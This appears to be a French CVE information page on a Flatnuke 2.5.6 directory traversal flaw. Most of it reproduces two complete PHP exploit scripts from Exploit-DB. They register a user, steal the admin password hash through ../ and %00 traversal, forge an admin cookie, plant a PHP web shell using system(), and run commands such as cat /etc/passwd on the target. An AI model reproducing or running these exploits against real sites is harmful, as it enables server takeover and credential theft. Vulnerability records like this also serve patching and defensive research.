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Descriptions du CVE
Directory traversal vulnerability in Flatnuke 2.5.6 allows remote attackers to access arbitrary files via a .. (dot dot) and null byte (%00) in the id parameter of the read module.
Informations du CVE
Métriques
| Métriques | Score | Gravité | CVSS Vecteur | Source |
|---|---|---|---|---|
| V2 | 5 | AV:N/AC:L/Au:N/C:P/I:N/A:N | nvd@nist.gov |
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Informations sur l'Exploit
Exploit Database EDB-ID : 1140
Date de publication : 2005-08-07 22h00 +00:00
Auteur : rgod
EDB Vérifié : Yes
<?php
/* Aug 2005, 4th
Flatnuke 2.5.5 (possibly prior versions) remote code execution
by rgod
site: http://rgod.altervista.org
thanks to UlisseHacker... :)
make these changes in php.ini if you have troubles
with this script:
allow_call_time_pass_reference = on
register_globals = on */
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout", 2);
ob_implicit_flush (1);
echo '<head><title>FlatNuke 2.5.5 remote commands execution</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<style type="text/css">
<!--
body,td,th {color: #00FF00;}
body {background-color: #000000;}
.Stile5 {font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 10px; }
.Stile6 {font-family: Verdana, Arial, Helvetica, sans-serif;
font-weight: bold;
font-style: italic;
}
-->
</style></head>
<body>
<p class="Stile6">FlatNuke 2.5.5 (possibly prior versions) remote commands execution</p>
<p class="Stile6">a script by rgod at <a href="http://rgod.altervista.org" target="_blank">http://rgod.altervista.org</a></p>
<table width="84%" >
<tr>
<td width="43%">
<form name="form1" method="post" action="'.$SERVER['PHP_SELF'].'?path=value&host=value&port=value&command=value&proxy=value">
<p>
<input type="text" name="host">
<span class="Stile5">hostname (ex: www.sitename.com) </span></p>
<p>
<input type="text" name="path">
<span class="Stile5">path (ex: /flatnuke/forum/ or /forum/ just /) </span></p>
<p>
<input type="text" name="port">
<span class="Stile5">specify a port other than 80 (default value) </span></p>
<p>
<input type="text" name="command">
<span class="Stile5">a Unix command, example: ls -la to list directories, cat /etc/passwd to show passwd file </span></p>
<p>
<input type="text" name="proxy">
<span class="Stile5">send exploit through an HTTP proxy (ip:port) </span></p>
<p>
<input type="submit" name="Submit" value="go!">
</p>
</form></td>
</tr>
</table>
</body>
</html>';
function show($headeri)
{
$ii=0;
$ji=0;
$ki=0;
$ci=0;
echo '<table border="0"><tr>';
while ($ii <= strlen($headeri)-1)
{
$datai=dechex(ord($headeri[$ii]));
if ($ji==16) {
$ji=0;
$ci++;
echo "<td> </td>";
for ($li=0; $li<=15; $li++)
{ echo "<td>".$headeri[$li+$ki]."</td>";
}
$ki=$ki+16;
echo "</tr><tr>";
}
if (strlen($datai)==1) {echo "<td>0".$datai."</td>";} else
{echo "<td>".$datai."</td> ";}
$ii++;
$ji++;
}
for ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++)
{ echo "<td> </td>";
}
for ($li=$ci*16; $li<=strlen($headeri); $li++)
{ echo "<td>".$headeri[$li]."</td>";
}
echo "</tr></table>";
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
if (($path<>'') and ($host<>'') and ($command<>''))
{
if ($port=='') {$port=80;}
$data="op=reg&nome=jimyhendrix®pass=jimihendrix&reregpass=jimihendrix&anag=jimihendrix&email=jimihendrix@email.com&homep=".urlencode('http://www.asite.com')."&prof=artist&prov=whereimfrom&ava=clanbomber.png&url_avatar=&firma=".chr(13).urlencode('system($HTTP_GET_VARS[command]);');
if ($proxy=='')
{$packet="POST ".$path."index.php HTTP/1.1\r\n";}
else
{
$c = preg_match_all($proxy_regex,$proxy,$is_proxy);
if ($c==0) {
echo 'check the proxy...<br>';
die;
}
else
{$packet="POST http://".$host.$path."index.php HTTP/1.1\r\n";}
}
$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/msword, */*\r\n";
$packet.="Referer: http://".$host.":".$port.$path."index.php?op=vis_reg\r\n";
$packet.="Accept-Language: it\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="Accept-Encoding: gzip, deflate\r\n";
$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Connection: Keep-Alive\r\n";
$packet.="Cache-Control: no-cache\r\n\r\n";
$packet.=$data;
show($packet);
if ($proxy=='')
{$fp=fsockopen(gethostbyname($host),$port);}
else
{$parts=explode(':',$proxy);
echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
$fp=fsockopen($parts[0],$parts[1]);
if (!$fp) { echo 'No response from proxy...';
die;
}
}
fputs($fp,$packet);
$data='';
while ((!feof($fp)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$data)))
{
$data.=fread($fp,1);
}
fclose($fp);
echo nl2br(htmlentities($data));
if ($proxy=='')
{$packet="GET ".$path."users/jimyhendrix.php?command=".urlencode($command)." HTTP/1.1\r\n";}
else
{
$c = preg_match_all($proxy_regex,$proxy,$is_proxy);
if ($c==0) {
echo 'check the proxy...<br>';
die;
}
else
{$packet="GET http://".$host.$path."users/jimyhendrix.php?command=".urlencode($command)." HTTP/1.1\r\n";}
}
$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n";
$packet.="Accept-Encoding: text/plain\r\n";
$packet.="Host: ".$host."\r\n\r\n";
$packet.="Connection: Close\r\n\r\n";
show($packet);
if ($proxy=='')
{$fp=fsockopen(gethostbyname($host),$port);}
else
{$parts=explode(':',$proxy);
echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
$fp=fsockopen($parts[0],$parts[1]);
if (!$fp) { echo 'No response from proxy...';
die;
}
}
fputs($fp,$packet);
$data='';
if ($proxy=='')
{ $data='';
while (!feof($fp))
{
$data.=fgets($fp);
}
}
else
{
$data='';
while ((!feof($fp)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$data)))
{
$data.=fread($fp,1);
}
}
fclose($fp);
if (eregi('HTTP/1.1 200 OK',$data))
{echo 'Exploit sent...<br> If Flatnuke is unpatched and vulnerable <br>';
echo 'you will see '.htmlentities($command).' output inside HTML...<br><br>';
}
else
{echo 'Error, see output...';}
echo nl2br(htmlentities($data));
}
?>
# milw0rm.com [2005-08-08]
Exploit Database EDB-ID : 1367
Date de publication : 2005-12-09 23h00 +00:00
Auteur : rgod
EDB Vérifié : Yes
<?php
# ---flatnuke_256_xpl.php 4.32 10/12/2005
#
# Flatnuke 2.5.6 privilege escalation / remote commands execution exploit
# (works with magic_quotes_gpc off, try this with 2.5.5:
# http://www.milw0rm.com/id.php?id=1140 (https://www.exploit-db.com/exploits/1140/))
#
# coded by rgod at http://rgod.altervista.org
# mail: retrogod at aliceposta it
# original advisory: http://rgod.altervista.org/flatnuke256_xpl.html
#
# software:
# site: http://flatnuke.sourceforge.net
# description: a PHP Content Management System
#
# Explaination: if magic_quotes_gpc is off you can have any admin/user MD5
# password hash, poc:
# http://[target]/[path]/?mod=read&id=../forum/users/[adminname].php%00
# now you can build an admin cookie:
#
# Cookie: myforum:[adminname]; secid:[md5([adminame].[MD5hash])]
#
# as admin, you can edit any php file on target system and insert a shell,
# example:
#
# POST /flatnuke/verify.php HTTP/1.1
# Content-Type: application/x-www-form-urlencoded
# Host: [target_host]
# Content-Length: [data_length]
# Cookie: [admin_cookie]
# Connection: Close
#
# mod=modcont&from=index.php&body=[SHELL]&file=forum%2fusers%2f[username].php
#
# now you launch commands:
#
# http://[target]/[path]/forum/users/[username].php?cmd=cat%20/etc/passwd
#
# Vendor has notified on August 2005 about credentials disclosure,
# no patch has been released
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout", 2);
ob_implicit_flush (1);
echo'<html><head><title>*** Flatnuke 2.5.6 remote commands execution exploit ***
</title><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<style type="text/css"> body {background-color:#111111; SCROLLBAR-ARROW-COLOR:
#ffffff; SCROLLBAR-BASE-COLOR: black; CURSOR: crosshair; color: #1CB081; } img
{background-color: #FFFFFF !important} input {background-color: #303030
!important} option { background-color: #303030 !important} textarea
{background-color: #303030 !important} input {color: #1CB081 !important} option
{color: #1CB081 !important} textarea {color: #1CB081 !important} checkbox
{background-color: #303030 !important} select {font-weight: normal; color:
#1CB081; background-color: #303030;} body {font-size: 8pt !important;
background-color: #111111; body * {font-size: 8pt !important} h1 {font-size:
0.8em !important} h2 {font-size: 0.8em !important} h3 {font-size: 0.8em
!important} h4,h5,h6 {font-size: 0.8em !important} h1 font {font-size: 0.8em
!important} h2 font {font-size: 0.8em !important}h3 font {font-size: 0.8em
!important} h4 font,h5 font,h6 font {font-size: 0.8em !important} * {font-style:
normal !important} *{text-decoration: none !important} a:link,a:active,a:visited
{ text-decoration: none ; color : #99aa33; } a:hover{text-decoration: underline;
color : #999933; } .Stile5 {font-family: Verdana, Arial, Helvetica, sans-serif;
font-size: 10px; } .Stile6 {font-family: Verdana, Arial, Helvetica, sans-serif;
font-weight:bold; font-style: italic;}--></style></head><body><p class="Stile6">
*** Flatnuke 2.5.6 remote commands execution exploit *** </p><p class="Stile6">a
script by rgod at <a href="http://rgod.altervista.org"target="_blank">
http://rgod.altervista.org</a></p><table width="84%"><tr><td width="43%"> <form
name="form1" method="post" action="'.strip_tags($SERVER[PHP_SELF]).'"><p><input
type="text" name="host"> <span class="Stile5">* hostname (ex:www.sitename.com)
</span></p> <p><input type="text" name="path"> <span class="Stile5">* path (ex:
/flatnuke/ or just / ) </span></p><p><input type="text" name="command"> <span
class="Stile5"> * specify a command </span> </p> <p> <input type="text"
name="port"> <span class="Stile5">specify a port other than 80 ( default
value )</span> </p> <p> <input type="text" name="proxy"><span class="Stile5">
send exploit through an HTTP proxy (ip:port) </span></p><p><input type="submit"
name="Submit" value="go!"></p></form> </td></tr></table></body></html>';
function show($headeri)
{
$ii=0;
$ji=0;
$ki=0;
$ci=0;
echo '<table border="0"><tr>';
while ($ii <= strlen($headeri)-1)
{
$datai=dechex(ord($headeri[$ii]));
if ($ji==16) {
$ji=0;
$ci++;
echo "<td> </td>";
for ($li=0; $li<=15; $li++)
{ echo "<td>".$headeri[$li+$ki]."</td>";
}
$ki=$ki+16;
echo "</tr><tr>";
}
if (strlen($datai)==1) {echo "<td>0".$datai."</td>";} else
{echo "<td>".$datai."</td> ";}
$ii++;
$ji++;
}
for ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++)
{ echo "<td> </td>";
}
for ($li=$ci*16; $li<=strlen($headeri); $li++)
{ echo "<td>".$headeri[$li]."</td>";
}
echo "</tr></table>";
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function sendpacket() //if you have sockets module loaded, 2x speed! if not,load
//next function to send packets
{
global $proxy, $host, $port, $packet, $html, $proxy_regex;
$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
if ($socket < 0) {
echo "socket_create() failed: reason: " . socket_strerror($socket) . "<br>";
}
else
{ $c = preg_match($proxy_regex,$proxy);
if (!$c) {echo 'Not a valid prozy...';
die;
}
echo "OK.<br>";
echo "Attempting to connect to ".$host." on port ".$port."...<br>";
if ($proxy=='')
{
$result = socket_connect($socket, $host, $port);
}
else
{
$parts =explode(':',$proxy);
echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
$result = socket_connect($socket, $parts[0],$parts[1]);
}
if ($result < 0) {
echo "socket_connect() failed.\r\nReason: (".$result.") " . socket_strerror($result) . "<br><br>";
}
else
{
echo "OK.<br><br>";
$html= '';
socket_write($socket, $packet, strlen($packet));
echo "Reading response:<br>";
while ($out= socket_read($socket, 2048)) {$html.=$out;}
echo nl2br(htmlentities($html));
echo "Closing socket...";
socket_close($socket);
}
}
}
function sendpacketii($packet)
{
global $proxy, $host, $port, $html, $proxy_regex;
if ($proxy=='')
{$ock=fsockopen(gethostbyname($host),$port);
if (!$ock) { echo 'No response from '.htmlentities($host);
die; }
}
else
{
$c = preg_match($proxy_regex,$proxy);
if (!$c) {echo 'Not a valid prozy...';
die;
}
$parts=explode(':',$proxy);
echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
$ock=fsockopen($parts[0],$parts[1]);
if (!$ock) { echo 'No response from proxy...';
die;
}
}
fputs($ock,$packet);
if ($proxy=='')
{
$html='';
while (!feof($ock))
{
$html.=fgets($ock);
}
}
else
{
$html='';
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html)))
{
$html.=fread($ock,1);
}
}
fclose($ock);
echo nl2br(htmlentities($html));
}
function make_seed()
{
list($usec, $sec) = explode(' ', microtime());
return (float) $sec + ((float) $usec * 100000);
}
$host=$_POST[host];$path=$_POST[path];
$port=$_POST[port];$command=$_POST[command];
$proxy=$_POST[proxy];
if (($host<>'') and ($path<>'') and ($command<>''))
{
$port=intval(trim($port));
if ($port=='') {$port=80;}
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
$host=str_replace("\r\n","",$host);
$path=str_replace("\r\n","",$path);
srand(make_seed());
$v = rand(1,9999);
$username="SUNTZU".$v;
echo '<br>Your username: '.htmlentities($username);
#STEP 1 -> Register...
$data="op=reg&nome=".$username;
$data.="®pass=jimihendrix";
$data.="&reregpass=jimihendrix";
$data.="&anag=jimihendrix";
$data.="&email=fake@fakemail.fke";
$data.="&homep=".urlencode('http://www.asite.com');
$data.="&prof=PUNK";
$data.="&prov=whereimfrom";
$data.="&ava=clanbomber.png";
$data.="&url_avatar=";
$data.="&firma=";
$packet="POST ".$path."forum/index.php HTTP/1.1\r\n";
$packet.="Accept-Encoding: text/plain\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Connection: Close\r\n\r\n";
$packet.=$data;
show($packet);
sendpacketii($packet);
#STEP 2 -> Login... (you cannot see memberlist if you are not registered...)
$data="op=login&nome=".$username."&logpassword=jimihendrix";
$packet="POST ".$path."forum/index.php HTTP/1.1\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Connection: Close\r\n\r\n";
$packet.=$data;
show($packet);
sendpacketii($packet);
$temp=explode("Set-Cookie: ",$html);
$temp2=explode(' ',$temp[1]);
$cookie=$temp2[0];
$temp2=explode(' ',$temp[2]);
$cookie.=" ".$temp2[0];
echo '<br>Your cookie: '.htmlentities($cookie);
#STEP 3 -> Retrieve admin name from memberlist
for ($i=1; $i<=100; $i++)
{
$packet="GET ".$path."forum/index.php?op=members&page=".$i." HTTP/1.1\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Cookie: ".$cookie."\r\n";
$packet.="Connection: Close\r\n\r\n";
show($packet);
sendpacketii($packet);
if (eregi('class=normal>10',$html)) { break; }
}
$temp=explode("class=normal>10",$html);
$temp2=explode("user=",$temp[0]);
$temp=explode(">",$temp2[count($temp2)-1]);
$ADMIN=$temp[0];
echo '<br>Admin: '.htmlentities($ADMIN);
#STEP 4 -> Retrieve admin MD5 password hash...
$packet="GET ".$path."?mod=read&id=../forum/users/".$ADMIN.".php%00 HTTP/1.1\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
show($packet);
sendpacketii($packet);
if (!eregi("<?",$html)) {die("Exploit failed... it seems we have magic_quotes_gpc on here...");}
$temp=explode("<?".chr(0x0a)."#",$html);
$temp2=explode(chr(0x0a),$temp[1]);
$HASH=$temp2[0];
echo '<br>Admin md5 password hash: '.htmlentities($HASH);
# Now build new admin cookie...
$SECID=md5($ADMIN.$HASH);
$COOKIE="myforum=".$ADMIN."; secid=".$SECID.";";
echo '<br>Now you have admin cookie: '.htmlentities($COOKIE);
#STEP 5 -> Edit some file... example: my profile ;)
$COMPTEMPT="<?\n#".md5("jimihendrix")."\n#jimihendrix\n#fake@fakemail.fke\n#http://www.asite.com\n";
$COMPTEMPT.="#PUNK\n#whereimfrom\n#clanbomber.png\n#\n#10\n?>\n"; //assign level 10 to new user
//edit this, if system() is disabled you may try passtrhu(),exec() or backticks...
//we also see phpinfo()
$SHELL.=$COMPTEMPT."<?php echo \"Hi Master\";error_reporting(0);ini_set(\"max_execution_time\",0); phpinfo(); system(\$HTTP_GET_VARS[cmd]);?>";
$SHELL=urlencode($SHELL);
$data="mod=modcont&from=index.php&body=".$SHELL."&file=forum%2fusers%2f".$username.".php";
$packet="POST ".$path."verify.php HTTP/1.1\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Cookie: ".$COOKIE."\r\n";
$packet.="Connection: Close\r\n\r\n";
$packet.=$data;
show($packet);
sendpacketii($packet);
#STEP 6 -> Launch commands...
$packet="GET ".$path."forum/users/".$username.".php?cmd=".urlencode($command)." HTTP/1.1\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
show($packet);
sendpacketii($packet);
if (eregi("Hi Master",$html)) {echo "Exploit succeeded...Also you can login as admin with<br>";
echo "username: ".$username."<br>";
echo "password: jimihendrix<br>";
}
else {echo "Exploit failed...";}
}
else {echo "Fill * required fields, optionally specify a proxy..."; }
?>
# milw0rm.com [2005-12-10]
Products Mentioned
Configuraton 0
Flatnuke>>Flatnuke >> Version 2.5.6
- Flatnuke>>Flatnuke >> Version 2.5.6 (Open CPE detail)
Références
http://www.securityfocus.com/archive/1/419107/100/0/threaded
Tags : mailing-list, x_refsource_BUGTRAQ
Tags : mailing-list, x_refsource_BUGTRAQ
